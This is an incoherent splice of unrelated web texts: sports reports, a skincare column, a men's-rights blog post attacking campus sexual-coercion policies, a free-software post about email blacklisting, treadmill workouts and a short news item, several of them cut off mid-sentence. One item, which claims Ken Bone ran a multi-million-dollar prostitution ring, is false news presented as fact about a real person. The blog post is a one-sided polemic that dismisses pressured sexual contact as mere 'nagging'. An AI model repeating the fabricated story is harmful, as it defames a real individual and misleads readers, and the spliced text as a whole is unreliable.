The season following the Bills game, the No. 2-seed Oilers fell in the playoffs to the Chiefs. Afterward, owner Bud Adams broke up the team. Mark Brettingen/Getty Images
* * *
Adams, of course, followed through on his threat. After the Chiefs loss, the Oilers traded Moon to the Vikings and Buddy Ryan left to coach the Cardinals. Houston went 2-14 in 1994, and Pardee resigned by midseason. Two years later, after the city refused to finance the stadium he wanted, Adams moved the team to Tennessee.
If the Oilers had won a Super Bowl, would Adams have stayed? Who knows. One can argue, though, that the playoff collapse against the Bills set in motion this entire chain of events. Blowing that 32-point lead may have been the beginning of the end of the Houston Oilers.
“Wounds heal,” says Jeffires, “but you never forget.”
Now, 24 years later, the Oilers are still asked about that game. They were asked about it all week leading up to Super Bowl 51, even before the Falcons blew that 25-point lead and set their own record—largest collapse in a Super Bowl. People are still naturally curious: How does a team fall apart like that? Players invariably respond saying something about failing to finish, not executing. But the truth is, they don’t really have an explanation.
“It leaves a big hole in your heart, you know?” Jeffires says on the phone, a few weeks after watching the Falcons’ collapse. “They say things do pass. Like, when someone dies in your family? You think you’re never going to get over it. Then sooner or later, you do. Wounds heal. But you never forget. That game will be a dagger in our hearts for as long as we live.”
Question or comment? Email us at talkback@themmqb.com.Veteran fighters and former lightweights Dennis Siver (21-9 MMA, 10-6 UFC) and Manny Gamburyan (13-7 MMA, 4-5 UFC) are set to collide at UFC 168.
UFC official today announced the matchup for the Dec. 28 event, which takes place at MGM Grand Garden Arena in Las Vegas. It’s not yet known whether the bout will serve on the pay-per-view main card or prelims, which air on FOX Sports 1 and stream on Facebook.
Siver and Gamburyan both have reinvented themselves in the featherweight division, though their recent careers have diverged on paper.
In a widely panned call, Gamburyan outpointed Cole Miller at this past month’s UFC Fight Night 26 in Boston. Miller is appealing the official decision based on his belief that the referee did not incorrectly call a TKO in favor of him when he landed a series of elbows that rendered Gamburyan unable to continue.
There was no doubt about the outcome of Siver’s most recent appearance, which came in July at UFC 162 and ended when the surging Cub Swanson stopped him by third-round TKO. The setback was his first since dropping to 145 pounds, though he was awarded a “Fight of the Night” bonus for the bout.
Gamburyan has more experience under his belt as a featherweight, and as of late, enjoys a two-fight win streak following a three-fight skid, kicked off by a second-round TKO to now-UFC champ Jose Aldo under the defunct WEC banner, that threatened his employment with UFC parent Zuffa.
With the addition to the card, the UFC 168 lineup now includes:
For the latest on UFC 168, stay tuned to the UFC Rumors section of the site.
(Pictured: Dennis Siver)Between the residual buzz from the Paris Climate Conference, last week’s announcement that 2015 was the hottest year on record, and Saturday’s freak blizzard that blanketed the Eastern seaboard in as much as 28 inches of snow—barely a month after Christmas temperatures soared into the 70s—the effects of our changing climate are becoming increasingly hard to ignore. Also apparent these days: the way that wildly fluctuating weather can wreak havoc on skin, taking it from dewy (that is, sweaty) and congested to dry and flaky in less than 24 hours. In these uncertain times, you can never be too prepared with an extra layer—or two. Here, two skincare regimens designed to soothe and nurture your skin, no matter where the mercury levels out.
When It Feels Like June, Not January
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Counterintuitive as it may seem, unexpected oil slicks are best confronted with an oil cleanser, like Shiseido’s Perfect Cleansing Oil, which easily removes unwanted grime. To really clean out pores ambushed by a mix of makeup and humidity, a mild purifying treatment, such as Fresh’s gentle but effective Umbrian Clay Mask, will keep winter breakouts at bay without causing excess dryness.
After cleansing in the morning, mist with a calming and detoxifying floral water, like SW Basics Lavender Hydrosol, before moisturizing (and throughout the day as needed). This will refresh skin and prep it for more deeply penetrating products like May Coop’s Raw Sauce, a K-Beauty essence that delivers a hydrating dose of maple water. Follow up with a lightweight moisturizer, such as Uncle Harry’s fluffy Jojoba Cream—which, when mixed with a few drops of Heritage’s delectably fragrant Rosewater Concentrate, feels both refreshing and nourishing without being greasy.
#Jonas-Level Winter Realness
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Cold temperatures plus artificial heat from jacked-up radiators equals bad news for your face. When it’s social-calendar-killing cold outside, use a gentle cleanser, like Circ-Cell’s Geothermal Clay Cleanser, to dissolve impurities while keeping natural oils intact. Then add mist: Lake + Skye’s calming, hydrating Rose Floral Water is the perfect size for most handbags and is a must on cold mornings and even colder afternoons. Up your moisturizing game when temperatures dip below freezing with a treatment-focused grape-seed oil like Vintner’s Daughter, which is completely noncomedogenic but feels substantial enough to quench dehydrated skin—and happens to be the perfect base for a wind- and snow-resistant barrier cream, such as La Roche Posay’s soothing Cicaplast Baume B5.
After a long day of trudging through snowdrifts, this next trio of products will completely change the look and feel of your skin overnight: Slough away dead skin with Sonya Dakar’s cult-favorite NutraSphere Flash Facial, then apply Fresh’s luxe Honey Mask and cue up an episode of Master of None. Press play. After 10 minutes, rinse with warm water and massage a thin layer of Charlotte Tilbury’s Magic Night Cream over your face, inhaling its beautiful frangipani aroma. Then put on your flannel pajamas, get under your down comforter, and prepare for whatever tomorrow’s forecast might bring.FC Edmonton will move forward into the Amway Canadian Championship semi-final after posting a 3-1 victory over Ottawa Fury FC (6-2 on aggregate) at Clarke Field. The win will see the Eddies kick off against Vancouver Whitecaps FC on Wednesday, May 6.
The Eddies opened the scoring in the ninth minute when Lance Laing picked up the ball down the wing and crossed it into the box. It fell to Cristian Raudales who had his volley attempt saved by Romuald Pieser. Unable to hold onto the rebound, Tomi Ameobi was there to tap in the loose ball to make it 1-0 for the Eddies.
In the 15th minute, Laing was once again allowed space down the near side and crossed the ball towards the back post where Sainey Nyassi was waiting unmarked. Nyassi controlled the ball with his first touch, then rifled a shot into the net to make it 2-0.
Ottawa Fury FC came within a goal 32 minutes in. Andrew Wiedeman found some space in-between the Eddies’ backline and he left FC Edmonton goalkeeper Matt VanOekel with no chance with his shot to make it 2-1. This scoreline held until the halftime whistle.
Ottawa had their chances in the second half and came close to drawing the match in the 60th minute when Sinisa Ubiparipovic had a free kick from 20-yards out that sailed just wide of VanOekel’s near post.
Second-half substitute Michael Nonni earned the Eddies a penalty after being brought down inside the box in the 81st minute. Daryl Fordyce stepped up to take the kick and he coolly slotted it into the right corner to make it 3-1 for FC Edmonton. The 3-1 scoreline would be enough for the Eddies to pull off the victory and also secure a spot in the semi-final.
“From an attacking point of view I am very pleased six goals over two goals and the goals have been spread out,” said FC Edmonton’s head coach Colin Miller. “We could’ve scored a few more goals apart from excellent goalkeeping by Ottawa.”On a daily basis on this Web site, one story about injustice to men cascades upon the next, until they collapse of their own weight to form a sort of dark and twisted kaleidoscope of misandry. It is little wonder that readers sometimes find it difficult to tell the difference between bad news and awful, appalling, and dreadful news. This post is about awful, appalling, and dreadful news.
There is an unprecedented effort underway on college campuses across America to re-engineer male sexual conduct in a grossly misguided effort to construct a female-friendly sexual utopia. More and more colleges are punishing men for engaging in a form of consensual sexual behavior obtained by supposed emotional or verbal “pressuring.” They call it “sexual coercion,” and it sanctions men not for forcing themselves on, or physically threatening, women, but for doing nothing more than nagging for sex. Men are being punished for doing precisely what, for decades, society has been telling them they’re supposed to do — ask for sex.
Readers who have sons in college, or whose sons are about to enter college, need to check the school’s sexual misconduct policy. If it punishes students for sexual coercion, those readers need to express their acute displeasure to the school’s administration and board of trustees. Get specific. Relate the things mentioned in this article and see if they can refute any of it.
Sexual nagging is now a punishable offense
Sexual coercion is a nebulous, amorphous blob of a concept that is defined in myriad ways. No rational person questions policies that punish sex procured by physical threats. That’s not what we’re referring to here. The policies at issue go far beyond this and punish men (even though they are couched in gender neutral terms, make no mistake: the policies are meant to police male conduct) for sex procured after “unreasonable” verbal or emotional pressuring.
The import of these policies must be clearly understood: even though the woman agreed to have sex, the school can invalidate her manifested assent by later deciding that the man’s conduct in obtaining it was too boorish, too overbearing, or too insensitive. Most importantly, for the first time, men are being held responsible for sexual misconduct even though their “victims” have reasonable alternatives to engaging in the sex act but choose not to exercise them.
If that sounds like so much spin from a men’s rights blog, or if it sounds too far-fetched to be true, don’t trust us. Look at an example given by Brett Sokolow’s NCHERM, the organization that advises colleges across America on their sexual misconduct policies. If there is a sexual grievance industry (and there is), NCHERM is General Motors and Apple combined. In NCHERM’s Model Sexual Misconduct Policy, found here http://www.ncherm.org/documents/MODELSEXUALMISCONDUCTPOLICY1-10.pdf, adopted in whole or in part by many colleges, the following example appears, which is as chilling as it is legally and morally misguided:
Amanda and Bill meet at a party. They spend the evening dancing and getting to know each other. Bill convinces Amanda to come up to his room. From 11:00pm until 3:00am, Bill uses every line he can think of to convince Amanda to have sex with him, but she adamantly refuses. He keeps at her, and begins to question her religious convictions, and accuses her of being “a prude.” Finally, it seems to Bill that her resolve is weakening, and he convinces her to give him a “hand job” (hand to genital contact). Amanda would never had done it but for Bill’s incessant advances. He feels that he successfully seduced her, and that she wanted to do it all along, but was playing shy and hard to get. Why else would she have come up to his room alone after the party? If she really didn’t want it, she could have left. Bill is responsible for violating the university Non‐Consensual Sexual Contact policy. It is likely that a university hearing board would find that the degree and duration of the pressure Bill applied to Amanda are unreasonable. Bill coerced Amanda into performing unwanted sexual touching upon him. Where sexual activity is coerced, it is forced. Consent is not effective when forced. Sex without effective consent is sexual misconduct. p.9
In NCHERM’s example, Bill “convinced” Amanda to give him a hand-job — he asked, and she agreed. She willingly stayed in his room for hours, apparently listening to his boorish and pathetic entreaties. Amanda had a reasonable alternative to engaging in the sex act but chose not to exercise it: at any time she was free to say “good night” and to get up and leave. She didn’t do it. Yet Bill is responsible for Amanda’s choice? Come again?
Giving a horny college guy a hand-job because he wants it, or to shut him up, or because the woman wants to foster a relationship with him and sees that as a way to do it, is not sexual misconduct in any setting other than the rarefied, über-PC halls of academia. Bill may be many things – boorish, immature and even selfish – but based on the limited information available to us in NCHERM’s example, he is not a rapist and shouldn’t be punished because he asked for sex in a way Amanda later decided was offensive.
Until now, rape law has never been a clearinghouse to redress every less than ideal sexual encounter. Katie Roiphie once summed it up in a landmark New York Times piece: “With their expansive version of rape, rape-crisis feminists are inventing a kinder, gentler sexuality. Beneath the broad definition of rape, these feminists are endorsing their own Utopian vision of sexual relations: sex without struggle, sex without power, sex without persuasion, sex without pursuit. If verbal coercion constitutes rape, then the word rape itself expands to include any kind of sex a woman experiences as negative.”
NCHERM’s example, above, accomplishes the seemingly impossible task of insulting both genders at once: it insults men by telling them they are akin to rapists even when they ask and get permission for sex, and it insults women by suggesting they are not free moral agents capable of saying “yes” when they want sex, and “no” when they don’t. It is political correctness with a hard-on, radical feminism run amok.
Fatal legal impediments
There are at least two fatal, insurmountable legal problems with this kind of “sexual coercion.” First, it punishes acts that are, by any rational standard, consensual. Second, prohibitions against sexual coercion do not pass due process muster because they are not sufficiently definite to warn the accused that he’s violated a policy.
Consent. Consent in the rape milieu has its roots in contract law, and it is there that we need to seek guidance. Not all agreements formed with apparent assent are legally binding. Duress is a common law concept employed to invalidate contracts due to the absence of the kind of freely given consent that society has decided is necessary to bind people to their promises. The classic example is a loaded gun pointed at someone’s head with a threat that “either your brains or your signature will be on the contract,” per Don Corleone. A contract is voidable for duress if (1) the victim’s manifestation of assent has been induced by an improper threat, and (2) the victim has no reasonable alternative except to manifest assent.
NCHERM’s brand of “sexual coercion” fails on both counts. Asking for sex is not an improper threat, and being able to say “no” and to get up and leave the guy’s room is a reasonable alternative. End of inquiry. Big Sister needs to get out of the bedroom.
The aforementioned approach isn’t some loony invention of a misogynistic, far right, Neanderthal, men’s rights bogeyman. To illustrate how extreme NCHERM’s policy is, note that legal scholars sympathetic to the feminist rape agenda accept the approach referenced above – because it is the only approach that works: “When a complainant believes that he or she does not have any alternative choice but to submit to unwanted sexual demands, even a verbal ‘yes’ does not necessarily indicate genuine consent.” M. Buchhandler-Raphael, The Failure of Consent: Re-Conceptualizing Rape as Sexual Abuse of Power, 18 Mich. J. Gender & L. 147, 183 (2011). The example cited by the legal scholar to support this proposition is a case where a woman gave a teen male and his friend a ride home. When they stopped in a secluded area, the teens told her she would not be able to leave until she had sex with them, so she ostensibly gave her permission. Assuming that she reasonably felt threatened by the young men’s words, as the legal scholar seems to accept, the woman’s ostensible consent was fatally tainted because she had no alternative but to engage in sex. That example is in a different universe than NCHERM’s, and it underscores how extreme NCHERM’s policy is.
Due process. Our criminal law is not a guessing game. A valid criminal statute puts the public on clear notice as to the conduct that is forbidden. “A penal statute,... to be valid, must be sufficiently definite to show what acts the legislature intended to punish.” William Lawrence Clark et al, A Treatise on the Law of Crimes at 59 (1996). This is a component of due process. “The test is whether the language conveys sufficiently definite warning as to the proscribed conduct when measured by common understanding and practices.” Jordan v. DeGeorge, 341 U.S. 223 (1951). A law that does not meet that standard is unconstitutionally vague.
College sex policies should not be free-floating standards of purported wrongdoing and should not punish rape “in the air.” Fundamental notions of fairness dictate that college rules of conduct be sufficiently definite to warn the accused when he’s in violation of them.
Look at NCHERM’s definition and decide for yourself if you can pinpoint when sexual coercion occurs. According to NCHERM’s Model Policy: “Consent cannot be procured by... coercion. Coercion is unreasonable pressure for sexual activity. Coercive behavior differs from seductive behavior based on the type of pressure someone uses to get consent from another. When someone makes clear to you that they do not want sex, that they want to stop, or that they do not want to go past a certain point of sexual interaction, continued pressure beyond that point can be coercive.” (Page 7) The model policy further states: “There is a difference between seduction and coercion. Coercing someone into sexual activity violates this policy just as much as physically forcing someone into sex. Coercion happens when someone unreasonably pressures someone else for sex.” (Page 2)
Let us analyze. What does “unreasonable pressure” mean in a culture where sex roles of pursuer and “hard to get” have been fairly divided along gender lines for eons? The guy can ask for sex, but he can’t ask too much, and he might be expelled if he crosses some indistinct, blurry line that’s about as clear as a dense New England fog. Does a “no” at 7:00 o’clock mean the topic of sex is off-limits? For how long? Until 10:00 o’clock? Midnight? The entire night? When does asking become nagging? Does the policy prohibit any nagging for sex whatsoever? Is a little nagging acceptable? At what point does a little nagging become excessive nagging? When will one more nag be enough to expel a young man? When does “seduction” magically turn into “coercion”? There is no mistaking midnight for noon, but at what point does twilight become night?
To say that the contours are fuzzy is an understatement. No one — no one — can be sure at what point the line is crossed. As a law, it is unworkable nonsense. As a policy, it is grossly unjust to men and insulting to both genders.
Actual school policies
Here is a sampling of schools that follow the NCHERM definition, or otherwise include “coercion” in their definitions of “consent” — and this list is by no means exhaustive. It’s the tip of the iceberg to illustrate the breadth of the effort to punish sex procured by verbal or emotion pressuring:
Some schools parrot the NCHERM model policy (page 7) definition of coercion, above: Colorado State University-Pueblo; Loyola University Chicago; Franklin University.
Other schools parrot page 2 of the NCHERM model policy: Kean University (“There is a difference between seduction and coercion. Coercing someone into sexual activity violates this policy just as much as physically forcing someone into sex. Coercion happens when someone unreasonably pressures someone else for sex.”). Notre Dame College also buys into NCHERM’s “coercion” versus “seduction” distinction: “Consent cannot be procured by use of physical force, compelling threats, intimidating behavior, or coercion. Coercion is unreasonable pressure for sexual activity. Coercive behavior differs from seductive behavior based on the type of pressure someone uses to get consent from another.”
Other schools attempt, without success, to better define the parameters of “coercion”: Gettysburg College’s definition is singularly unhelpful and stretches the limits of vagueness: “Coercion exists when a sexual initiator engages in sexually pressuring and/or oppressive behavior that violates the norms of the community, such that the application of pressure or oppression causes the object of the behavior to engage in unwanted sexual behavior. Coercion may be differentiated from seduction by the repetition of the coercive activity beyond what is reasonable, the degree of pressure applied, environmental factors such as isolation and the initiator’s knowledge that the pressure is unwanted.” Dickinson College employs language almost identical to Gettysburg College’s definition.
Trinity University has a definition of “coercion” that requires men to be mind-readers: “There is a world of difference between seduction and coercion. Seduction implies that both people involved are ‘playing the same game.’ Coercion on the other hand occurs when one person does not want to ‘play along.’ Seduction becomes coercion; coercion begins not when the sexual advance is made, but when someone pushes past the point of realization that the person does not want to be convinced.”
Other schools punt and leave the definition of “coercion” up to amorphous “reasonable” standards: University of Vermont (“Consent is communicated either by words or clear, unambiguous actions that are not achieved through manipulation, intimidation, fear or other acts that a reasonable person would construe as coercion.”) Columbia’s policy provides: “The use of coercion in instances of sexual assault involves the use of pressure, manipulation, substances, and/or force.” The policy handbooks of some schools just mention that “coercion” is prohibited without bothering to try and define it: Dennison University; Marquette University; Clemson University; Syracuse University; Duke University; Wesleyan University.
Kansas State University is, at least, honest in acknowledging that by prohibiting sex by coercion, it is going beyond the commonly understood definition of “sexual assault”: “The Kansas State University policy prohibits not only those acts commonly understood to constitute ‘sexual assault,’ but also all attempts to coerce sexual activity. Individuals can be in violation of the Kansas State University policy without being in violation of the Kansas legal statutes.”
A policy bordering on pathology
Transmogrifying “sexual coercion” into a punishable offense has been a feminist dream for decades. “Sexual coercion” has its roots in an extremist feminist tradition of rape advocacy that encourages purported victims to engorge the definitions of “rape” and “sexual assault” to include all manner of alleged violations that are neither “rape” nor “sexual assault.” Time once famously wrote: “Catherine Comins, assistant dean of student life at Vassar,... sees some value in this loose use of ‘rape.’ She says angry victims of various forms of sexual intimidation cry rape to regain their sense of power. ‘To use the word carefully would be to be careful for the sake of the violator, and the survivors don’t care a hoot about him.’ Comins argues that men who are unjustly accused can sometimes gain from the experience. ‘They have a lot of pain, but it is not a pain that I would necessarily have spared them. I think it ideally initiates a process of self-exploration. ‘How do I see women?’ ‘If I didn’t violate her, could I have?’ ‘Do I have the potential to do to her what they say I did?’ Those are good questions.'” Time correctly noted: “Taken to extremes, there is an ugly element of vengeance at work here. Rape is an abuse of power. But so are false accusations of rape....” See here: http://www.time.com/time/magazine/article/0,9171,1101910603-157165,00.html
Writer Joanne Jacobs aptly explained: “In the largest survey of campus date rape, 43 percent of women classified as rape victims had not realized they’d been raped.” Was this because women were hesitant to label rape as a crime? “Hesitant to label rape a crime?” Ms. Jacobs scoffed. “No, they were hesitant to label having sex ‘when you did not want it because you were overwhelmed by continual arguments and pressure’ as rape, which is what happened to most of the ‘victims.’ They weren’t raped; they were nagged.”
Writer Sarah Overstreet once wrote: “Our college students need the tools of personal power and responsibility, not a false definition of rape. So do we all. Lacking the skills or confidence to resist verbal coercion doesn’t make it a crime.”
By allowing the lunatics to write policy for the asylum, we’ve tumbled down a rabbit hole so dark and deep it will be difficult to climb out. For decades we’ve preached that when a woman says “no,” the man must stop. Now we are telling young men that when a woman says “yes,” they are still rapists because they didn’t ask |
find the thought sickening, as it should be.
But I also like empowering people. As someone who spent a lot of my youth timid and scared, I can relate to feelings of self-doubt, and like giving people the tools to overcome that the way I did.
Finally, I have to ask, who would win in a fight between you and Chuck Norris?
[Laughs] I've always been more of a Bruce Lee fan. And Bruce would kick my ass.
Follow Tom on Twitter.Exercising Software Freedom in the Global Email System
In this post, I discuss one example of how a choice for software freedom can cause many strange problems that others will dismiss. My goal here is to explain in gory detail how proprietary software biases in the computing world continue to grow, notwithstanding Open Source ballyhoo.
Two decades ago, nearly every company, organization, entity, and tech-minded individual ran their own email server. Generally speaking, even back then, nearly all the software for both MTA s and MUA s were Free Software0. MTA's are the mail transport agents — the complex software that moves email around from one Internet domain to another. MUAs are the mail user agents, sometimes called mail clients — the local programs with which users manipulate their own email.
I've run my own MTA since around 1993: initially with sendmail, then with exim for a while, and with Postfix since 1999 or so. Also, everywhere I've worked throughout my entire career since 1995, I've either been in charge of — or been the manager of the person in charge of — the MTA installation for the organization where I worked. In all cases, that MTA has always been Free Software, of course.
However, the world of email has changed drastically during that period. The most notable change in the email world is the influx of massive amounts of spam, which has been used as an excuse to implement another disturbing change. Slowly but surely, email service — both the MTA and the MUA — have been outsourced for most organizations. Specifically, either (a) organizations run proprietary software on their own computers to deal with email and/or (b) people pay a third-party to run proprietary and/or trade-secret software on their behalf to handle the email services. Email, generally speaking, isn't handled by Free Software all that much anymore.
This situation became acutely apparent to me this earlier this month when Conservancy moved its email server. I had plenty of warning that the move was needed1, and I'd set up a test site on the new server. We sent and received some of our email for months (mostly mailing list traffic) using that server configured with a different domain (sf-conservancy.org). When the shut-off day came, I moved sfconservancy.org's email officially. All looked good: I had a current Debian, with a new version of Postfix and Dovecot on a speedier host, and with better spam protection settings in Postfix and better spam filtering with a newer version of SpamAssassin. All was going great, thanks to all those great Free Software projects — until the proprietary software vendors threw a spanner in our works.
For reasons that we'll never determine for sure2, the IPv4 number that our new hosting provide gave us was already listed on many spam blacklists. I won't debate the validity of various blacklists here, but the fact is, for nearly every public-facing, pure-blacklist-only service, delisting is straightforward, takes about 24 hours, and requires at most answering some basic questions about your domain name and answering a captcha-like challenge. These services, even though some are quite dubious, are not the center of my complaint.
The real peril comes from third-party email hosting companies. These companies have arbitrary, non-public blacklisting rules. More importantly, they are not merely blacklist maintainers, they are MTA (and in some cases, even MUA) providers who sell their proprietary and/or trade-secret hosted solutions as a package to customers. Years ago, the idea of giving up that much control of what happens to your own email would be considered unbelievable. Today, it's commonplace.
And herein lies the fact that is obvious to most software freedom advocates but indiscernible by most email users. As a Free Software user, with your own MTA on your own machine, your software only functions if everyone else respects your right to run that software yourself. Furthermore, if the people you want to email are fully removed from their hosting service, they won't realize nor understand that their hosting site might block your emails. These companies have their customers fully manipulated to oppose your software freedom. In other words, you can't appeal to those customers (the people you want to email), because you're likely the only person to ever raise this issue with them (i.e., unless they know you very well, they'll assume you're crazy). You're left begging to the provider, whom you have no business relationship with, to convince them that their customers want to hear from you. Your voice rings out indecipherable from the spammers who want the same permission to attack their customers.
The upshot for Conservancy? For days, Microsoft told all its customers that Conservancy is a spammer; Microsoft did it so subtly that the customers wouldn't even believe it if we told them. Specifically, every time I or one of my Conservancy colleagues emailed organizations using Microsoft's “Exchange Online”, “Office 365” or similar products to host email for their domain4, we got the following response:
Sep 2 23:26:26 pine postfix/smtp[31888]: 27CD6E12B: to=, relay=example-org.mail.protection.outlook.com[207.46.163.215]:25, delay=5.6, delays=0.43/0/0.16/5, dsn=5.7.1, status=bounced (host example-org.mail.protection.outlook.com[207.46.163.215] said: 550 5.7.1 Service unavailable; Client host [162.242.171.33] blocked using FBLW15; To request removal from this list please forward this message to delist@messaging.microsoft.com (in reply to RCPT TO command))
Oh, you ask, did you forward your message to the specified address? Of course I did; right away! I got back an email that said:
Hello, Thank you for your delisting request SRXNUMBERSID. Your ticket was received on (Sep 01 2015 06:13 PM UTC) and will be responded to within 24 hours.
Once we passed the 24 hour mark with no response, I started looking around for more information. I also saw a suggestion online that calling is the only way to escalate one of those tickets, so I phoned 800-865-9408 and gave V-2JECOD my ticket number and she told that I could only raise these issues with the “Mail Flow Team”. She put me on hold for them, and told me that I was number 2 in the queue for them so it should be a few minutes. I waited on hold for just under six hours. I finally reached a helpful representative, who said the ticket was the lowest level of escalation available (he hinted that it would take weeks to resolve at that level, which is consistent with other comments about this problem I've seen online). The fellow on the phone agreed to escalate it to the highest priority available, and said within four hours, Conservancy should be delisted. Thus, ultimately, I did resolve these issues after about 72 hours. But, I'd spent about 15 hours all-told researching various blacklists, email hosting companies, and their procedures, and that was after I'd already carefully configured our MTA and DNS to be very RFC-compliant (which is complicated and confusing, but absolutely essential to stay off these blacklists once you're off).
Admittedly, this sounds like a standard Kafkaesque experience with a large company that almost everyone in post-modern society has experienced. However, it's different in one key way: I had to convince Microsoft to allow me to communicate with their customers who are paying Microsoft for proprietary and/or trade-secret software and services, ostensibly to improve efficiency of their communications. Plus, since Microsoft, by the nature of their so-called spam blocking, doesn't inform their customers whom they've blocked, I and my colleagues would have just sounded crazy if we'd asked our contacts to call their provider instead. (I actually considered this, and realized that we might negatively impact relationships with professional contacts.)
These problems do reduce email software freedom by network effects. Most people rely on third-party proprietary email software from Google, Microsoft, Barracuda, or others. Therefore, most people, don't exercise any software freedom regarding email services. Since exercising software freedom for email slowly becomes a rarer and rarer (rather than norm it once was), society slowly but surely pegs those who do exercise software freedom as “random crazy people”.
There are a few companies who are seeking to do email hosting in a way that respects your software freedom. The real test of such companies is if someone technically minded can get the same software configured on their own systems, and have it work the same way. Yet, in most cases, you go to one of these companies' Github pages and find a bunch of stuff pushed public, but limited information on how to configure it so that it functions the same way the hosted service does. RMS wrote years ago that Free Software cannot properly succeed without Free Documentation, and in many of these hosting cases: the hosting company is using fully upstreamed Free Software, but has configured the software in a way that is difficult to stumble upon by oneself. (For that reason, I'm committing to writing up tutorials on how Conservancy configured our mail server, so at least I'll be part of the solution instead of part of the problem.)
BTW, as I dealt with all this, I couldn't help but think of John Gilmore's activism efforts regarding open mail relays. While I don't agree with all of John's positions on this, his fundamental position is right: we must oppose companies who think they know better how we should configure our email servers (or on which IP numbers we should run those servers). I'd add a corollary that there's a serious threat to software freedom, at least with regard to email software, if we continue to allow such top-down control of the once beautifully decentralized email system.
The future of software freedom depends on issues like this. Imagine someone who has just learned that they can run their own email server, or bought some Free Software-based plug computing system that purports to be a “home cloud” service with email. There's virtually no chance that such users would bother to figure all this out. They'd see their email blocked, declare the “home cloud” solution useless, and would just get a gmail.com, outlook.com, or some other third-party email account. Thus, I predict that software freedom that we once had, for our MTAs and MUAs, will eventually evaporate for everyone except those tiny few who invest the time to understand these complexities and fight the for-profit corporate power that curtails software freedom. Furthermore, that struggle becomes Sisyphean as our numbers dwindle.
Email is the oldest software-centric communication system on the planet. The global email system serves as a canary in the coalmine regarding software freedom and network service freedom issues. Frighteningly, software now controls most of the global communications systems. How long will it be before mobile network providers refuse to terminate PSTN calls or SMS's sent from devices running modified Android firmwares like Replicant? Perhaps those providers, like large email providers, will argue that preventing robocalls (the telephone equivalent of SPAM) necessitates such blocking. Such network effects place so many dystopias on software freedom's horizon.
I don't deny that every day, there is more Free Software existing in the world than has ever existed before — the P.T. Barnum's of Open Source have that part right. The part they leave out is that, each day, their corporate backers make it a little more difficult to complete mundane tasks using only Free Software. Open Source wins the battle while software freedom loses the war.
Yes, I'm intimately aware that Elm's license was non-free, and that the software freedom of PINE's license was in question. That's slightly relevant here but mostly orthogonal to this point, because Free Software MUAs were still very common then, and there were projects to actively rewrite the ones whose software freedom was in question
For the last five years, one of Conservancy's Director Emeriti, Loïc Dachary, has donated an extensive amount of personal time and in-kind donations by providing Cloud server for Conservancy to host its three key servers, including the email server. The burden of maintaining this for us became too time consuming (very reasonably), and Loïc's asked us to find another provider. I want, BTW, to thank Loïc his for years of volunteer work maintaining infrastructure for us; he provided this service for much longer than we could have hoped! Loïc also gave us plenty of warning that we'd need to move. None of these problems are his fault in the least!
The obvious supposition is that, because IPv4 numbers are so scarce, this particular IP number was likely used previously by a spammer who was shut down.
I of course didn't count the time time on phone hold, as I was able to do other work while waiting, but less efficiently because the hold music was very distracting.
If you want to see if someone's domain is a Microsoft customer, see if the MX record for their domain (say, example.org) points to example-org.mail.protection.outlook.com.
[permalink]If you dread the tread, check out these six routines that will help you outrun boredom and get better results than ever.
Turn Up Your Tempo
Set the incline to 1 percent and warm up with 10 minutes of easy running. Then set the pace 2 minutes faster than your easy running pace—say 8 minutes per mile if you usually run 10-minute miles for a long, easy run.
Go at that tempo for 3 to 4 minutes, and then walk for 3 to 4 minutes. That’s one round; do 3 to 5 total rounds.
“This is a maximum aerobic effort that helps you push your easy pace,” says Rich Agnello, C.S.C.S., a coach for the New York-New Jersey Track Club and Next Level Sports & Fitness Training.
Related: THE 21-DAY METASHRED—an At-Home Body-Shredding Program From Men’s Health That Strips Away Fat and Reveals Hard Muscle
Progression Run
Warm up with 5 to 10 minutes of easy running. Then set the incline at 1 percent and start running at a 5 miles-per-hour pace.
Increase the speed 0.2 mph every minute until you completely fatigue.
“This workout will systematically and incrementally increase an athlete's lactate threshold,” says Andrew Kastor, head coach for Mammoth Track Club in Mammoth, California. “It will also develop mental patience and boost VO2 Max.”
Half-Mile Intervals
Warm up with 15 to 20 minutes of easy running. Then run a half-mile at 75 percent of your hardest effort. When you hit the half-mile mark, slow to a jog for 200 meters. That’s one round; do 6 to 8 total rounds.
“By not fully recovering between repeats you still improve your ability to run fast, but also ensure you have the aerobic strength and support to maintain goal pace on race day,” says Jeff Gaudette, head coach at RunnersConnect.net.
Related: 5 Best Cardio Machines on the Planet
The Horrible Hill Workout
Warm up with 10 minutes of easy running. Begin your workout by setting the incline to 8 percent and sprint as fast as you can for 30 seconds. Then lower the incline to 5 percent and walk for 30 seconds. After walking, sprint for 90 seconds at your 10K pace, then walk for 2 minutes. That’s one round; do 6 to 9 total rounds.
“This workout challenges your anaerobic and neuromuscular system while also helping build strength with the long hill repeat,” says Gaudette.
(Want better form, speed, and endurance? Learn How to Run Hills.)
Commercial Repeats
This one requires a television to be in front of you. Warm up with 10 minutes of easy running.
Every time a commercial comes on during a show or game you’re watching, run 1 ½ to 2 minutes per mile faster than your warm-up pace until the regular program returns. Do this until completely fatigued.
“It’s a killer toward the end of a close basketball game,” says Budd Coates, a four-time qualifier for the Olympic Marathon trials and special contributor to Runner’s World magazine.
Progressive Intervals
Warm up with 10 minutes of easy running. Start the treadmill at 7 miles per hour on a 1 percent incline and run 60 seconds at that pace.
Then lower the speed to an easy pace and take a 60 second break. Bump up the speed to 7.5 mph and repeat this 60 seconds of running with a 60-second break while increasing the speed by 0.5 mph after each break.
Once you can’t hold that faster speed for the full 60 seconds, drop the interval down to 30 seconds of running with 60 seconds of rest until you can’t go anymore.
“As the workout progresses, you carry more and more fatigue into the next interval," says Steve Magness, head cross country coach at the University of Houston and professional running trainer. “It’s a great workout that gives you bang for your buck on the aerobic and anaerobic side of the coin.”Ken Bone, the man in the red sweater who instantly became an internet sensation after asking a question at Sunday’s presidential debate, has been arrested after it was discovered he has been running a successful multi-million dollar prostitution ring from his mothers basement.
Ken Bone was running an illegal prostitution ring out of his mother’s home. After gaining so much popularity after going viral online many people recognized Kenneth Bone and a tip to local law enforcement lead them to his mother house where he ran a lucrative multi-million dollar prostitution ring.
Officer Timothy Brown said “I walked in and everything seemed normal but as police officers of the law and many reports we had to investigate the home completely and when I walked into the basement it was packed with b*d bitches, excuse my language” he also stated there was money everywhere like it was just paper.
Ken Bone was arrested soon after and is being held on a $100,000 bond for conspiracy but detectives say it is very clear what was going on at his mothers home and who was running the scheme. Police officers found trash bags full of cash. A Ferrari and Lamborghini in the backyard both registered to Ken Bone
It was very clear what was going on in this household said Sgt. William Haze.Northampton captain Dylan Hartley will not face any action after he was caught up at the centre of biting allegations made by Leicester hooker Tom Youngs.
